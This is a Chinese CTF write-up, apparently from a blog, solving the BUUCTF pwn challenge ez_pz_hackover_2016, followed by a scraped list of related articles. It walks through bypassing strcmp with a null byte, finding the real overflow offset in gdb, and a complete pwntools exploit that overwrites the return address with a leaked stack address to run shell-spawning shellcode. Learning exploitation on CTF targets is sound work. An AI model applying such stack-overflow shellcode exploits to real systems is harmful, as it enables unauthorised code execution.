首先checksec

没开nx,说明堆栈可执行,初步考虑需要shellcode,然后拖进ida看主函数逻辑

看chall函数

  printf("Yippie, lets crash: %p\n", s)这里泄露的s的地址,即栈上的地址

这里的输入的s数组是不存在栈溢出的,这里的关键代码是这一段

 result = (void *)strcmp(s, "crashme");
  if ( !result )
    return vuln((char)s, 0x400u);
  return result;
}

strcmp(s, "crashme")说明字符串只能是crashme,不然放回值不会是0,也就进不去下面那个if语句,但是strcmp只会比较到\x00结束,说明可以输入crashme\x00绕过判断,其实看到这里都还没发现可以getshell的漏洞,然后再点进去vuln函数看看

memcpy是内存拷贝函数:memcpy函数是C/C++语言中常用的内存拷贝函数,用于将一块内存中的数据复制到另一块内存中。其原型通常如下所示:
c复制代码
void *memcpy(void *dest, const void *src, size_t n);
其中:
dest 是目标内存区域的指针,即要将数据复制到的位置。
src 是源内存区域的指针,即要从哪里复制数据。
n 是要复制的字节数。
该函数的作用是将src指向的内存区域中的前n个字节的数据复制到dest指向的内存区域中。由于该函数返回void*类型,通常在使用时需要将其转换为目标类型的指针。

简而言之,就是将我们刚才输入的s数组的数据再拷贝到dest数组里面去,拷贝的字节数在第三个参数里面。

再来看dest数组的栈分布

看这个-0x32,存在栈溢出,欧克,开始疯狂写脚本,最后发现打不通,好好好,ida耍了我一把,dest距离ebp的偏移根本不是这样的,爆!没办法,只能gdb动态调试,这边动态需要gdb和pwntools结合起来,下面是动态调试脚本

from pwn import *
p=process('./pwn')
context.log_level='debug'
gdb.attach(p,'b *0x8048600')#利用gdb动调,在0x8048600处下了个断点,这个地址是vuln函数里面的
p.recvuntil('crash: ')
stack=int(p.recv(10),16)#接收回显的参数s在栈上的地址,长度是10,以16进制表示
print(hex(stack))
payload='crashme\x00'+'aaaaaa'#前面的crashme\x00绕过if判断
      #后面的aaaa是测试数据,随便输入的,我们等等去栈上找它的地址
      #利用它找到返回地址在栈上的地址,将返回地址覆盖为shellcode
p.sendline(payload)
pause()#linxu下的暂停程序命令

ubuntu运行该脚本,弹出gdb界面时,输入c,gdb就会运行至断点处

按了c之后,程序断在了nop指令这里

输入stack 50,查看栈上数据,此时注意右边那张图泄露的s地址(栈地址)0xffbc0f2c

我们输入的数据经过拷贝函数,最终在绿色箭头处(注意此时是在vuln函数里面查看栈),可以发现我们数据是从0xffbc0ef2开始的72是r,63是c,距离ebp0xffbc0f08的偏移是0x16,根本和ida的不一样。

确认了正确偏移后,就可以写脚本了

exp:

from pwn import *
context(os='linux',arch='i386',log_level='debug')      
io=remote("node4.buuoj.cn",27582)
shellcode=asm(shellcraft.sh())
io.recvuntil(b"lets crash: 0x")
addr=int(io.recv(8),16)                                    栈地址
print(hex(addr))
shellcode_addr=addr-0x1c                             这个减0x1c是为了确定shellcode的地址,shellcode地址即ebp-0x4-0x4的位置,上面动调的图片可以计算出偏移
payload=b"crashme\x00"+b'a'*(0x16-0x8)
payload+=b'a'*4                             
payload+=p32(shellcode_addr)                     返回到shellcode的地址
payload+=shellcode
io.recvuntil(b"> ")
io.sendline(payload)
io.interactive()

 

【pwn】ez_pz_hackover_2016 --pwngdb和pwntools的结合,动态调试的更多相关文章

  1. [BUUCTF]PWN——ez_pz_hackover_2016

    ez_pz_hackover_2016 题目附件 解题步骤: 例行检查,32位,开启了RELRO保护,二进制的保护机制看这里 由于没有开启nx保护,对于这题一开始想到的是利用写入shellcode来获 ...

  2. apk逆向 - smali动态调试

    author: Dlive date: 2016/10/6 0x00 前言 ​ 之前有人问过smali的动态调试方法,其实网上已经有很多文章讲这些内容,但是为了方便大家学习,我还是写一下让大家少走点坑 ...

  3. 安卓动态调试七种武器之离别钩 – Hooking(下)

    0x00 序 随着移动安全越来越火,各种调试工具也都层出不穷,但因为环境和需求的不同,并没有工具是万能的.另外工具是死的,人是活的,如果能搞懂工具的原理再结合上自身的经验,你也可以创造出属于自己的调试 ...

  4. 安卓动态调试七种武器之离别钩 – Hooking(上)

    安卓动态调试七种武器之离别钩 – Hooking(上) 作者:蒸米@阿里聚安全 0x00 序 随着移动安全越来越火,各种调试工具也都层出不穷,但因为环境和需求的不同,并没有工具是万能的.另外工具是死的 ...

  5. 安卓动态调试七种武器之孔雀翎 – Ida Pro

    安卓动态调试七种武器之孔雀翎 – Ida Pro 作者:蒸米@阿里聚安全 0x00 序 随着移动安全越来越火,各种调试工具也都层出不穷,但因为环境和需求的不同,并没有工具是万能的.另外工具是死的,人是 ...

  6. 安卓动态调试七种武器之长生剑 - Smali Instrumentation

    安卓动态调试七种武器之长生剑 - Smali Instrumentation 作者:蒸米@阿里聚安全 0x00 序 随着移动安全越来越火,各种调试工具也都层出不穷,但因为环境和需求的不同,并没有工具是 ...

  7. Android动态方式破解apk前奏篇(Eclipse动态调试smail源码)

    一.前言 今天我们开始apk破解的另外一种方式:动态代码调试破解,之前其实已经在一篇文章中说到如何破解apk了: Android中使用静态方式破解Apk  主要采用的是静态方式,步骤也很简单,首先使用 ...

  8. [转]Android逆向之动态调试总结

    一.在SO中关键函数上下断点 刚学逆向调试时.大多都满足于在SO中某关键函数上下断点.然后通过操作应用程序,去触发这个断点,然后进行调试 详细的步骤可以参见非虫大大的<Android软件安全与逆 ...

  9. Android studio动态调试smali

    前面介绍了使用IDA动态调试smali,这种方法设置简单,不用重打包,用起来方便,但是如果变量类型设置错误则会马上退出调试,这是让人不爽的地方,而使用Android studio则不会.   0x01 ...

  10. 【逆向怎么玩】 动态调试一款牛逼C++ IDE实录

    声明 本篇只从逆向兴趣出发,研究其程序运行原理. CLion程序版权为jetBrains所有. 注册码授权为jetBrains及其付费用户所有. 不会释出任何完整的源代码. 涉及能直接推算出注册码的地 ...

随机推荐

  1. OO第一次大作业

    前言 前言的前言 这是我的第一篇blog,有点小激动,我还找教程设置了一下我的背景,本来还想弄个页面小宠物,但是看了一下感觉有点复杂,下次一定.如果对我blog的内容有任何修正或者建议可以评论让我知道 ...

  2. 如何在 Ubuntu 20.04 上安装 KVM

    如何在 Ubuntu 20.04 上安装 KVM 遇到两个问题: 没有创建 /etc/qemu/bridge.conf 文件 ERROR internal error: /usr/lib/qemu/q ...

  3. Linux系统安装CH341驱动

    Linux系统安装CH341驱动 Linux系统(这里以ubuntu20.04为例)本身会自动安装CH340驱动,随着时间的推移,旧版本的驱动已经无法支持当下的CH340模块,所以我们需要重新安装驱动 ...

  4. Burnside 定理

    Burnside 定理 问题: 给定一个 \(n\) 个点,\(n\) 条边的环,有 \(m\) 种颜色,给每个顶点染色,问有多少种本质不同的染色方案,答案对 \(10^9+7\) 取模 注意本题的本 ...

  5. HTML5CSS3提高

    1 HTML5新特性 1.1 概述 HTML5 的新增特性主要是针对于以前的不足,增加了一些新的标签.新的表单和新的表单属性等. 这些新特性都有兼容性问题,基本是 IE9+ 以上版本的浏览器才支持,如 ...

  6. css里的position的static|relative|absolute|fixed的区别

    前提:仅以div块为例,其它不清楚 注:1.下面截图看起来不是从页面左上角位置开始,是因为body元素有默认的margin,有边框 2.当position不是static时,top和bottom需要指 ...

  7. 论文解读(TAT)《 Transferable Adversarial Training: A General Approach to Adapting Deep Classifiers》

    Note:[ wechat:Y466551 | 可加勿骚扰,付费咨询 ] 论文信息 论文标题:Transferable Adversarial Training: A General Approach ...

  8. call与retn指令

    一. call指令 将call指令下一跳指令压入栈中 jmp跳转到call指令的地址 二. retn指令 pop指令将栈顶元素弹出存储 jmp跳转到该栈顶元素地址 retn n;表示再前两步操作的基础 ...

  9. QTreeView自绘实现酷炫样式

    本篇文章结合笔者的经历,介绍一种通过重写QTreeView绘制事件,使用QPainter来实现好看的列表的方式. 导语 Hi,各位读者朋友,大家好.相信大家在日常的工作中,经常会接触到QTreeVie ...

  10. 半导体行业通信标准SECS/GEM协议一看就懂的

    半导体行业通信标准SECS/GEM透析 HSMS通信的设备端通常为客户端(Equipment)(也可称为Active 在通信中主动连接对方的),工厂会部署服务端(Host)(也可称为Passive 被 ...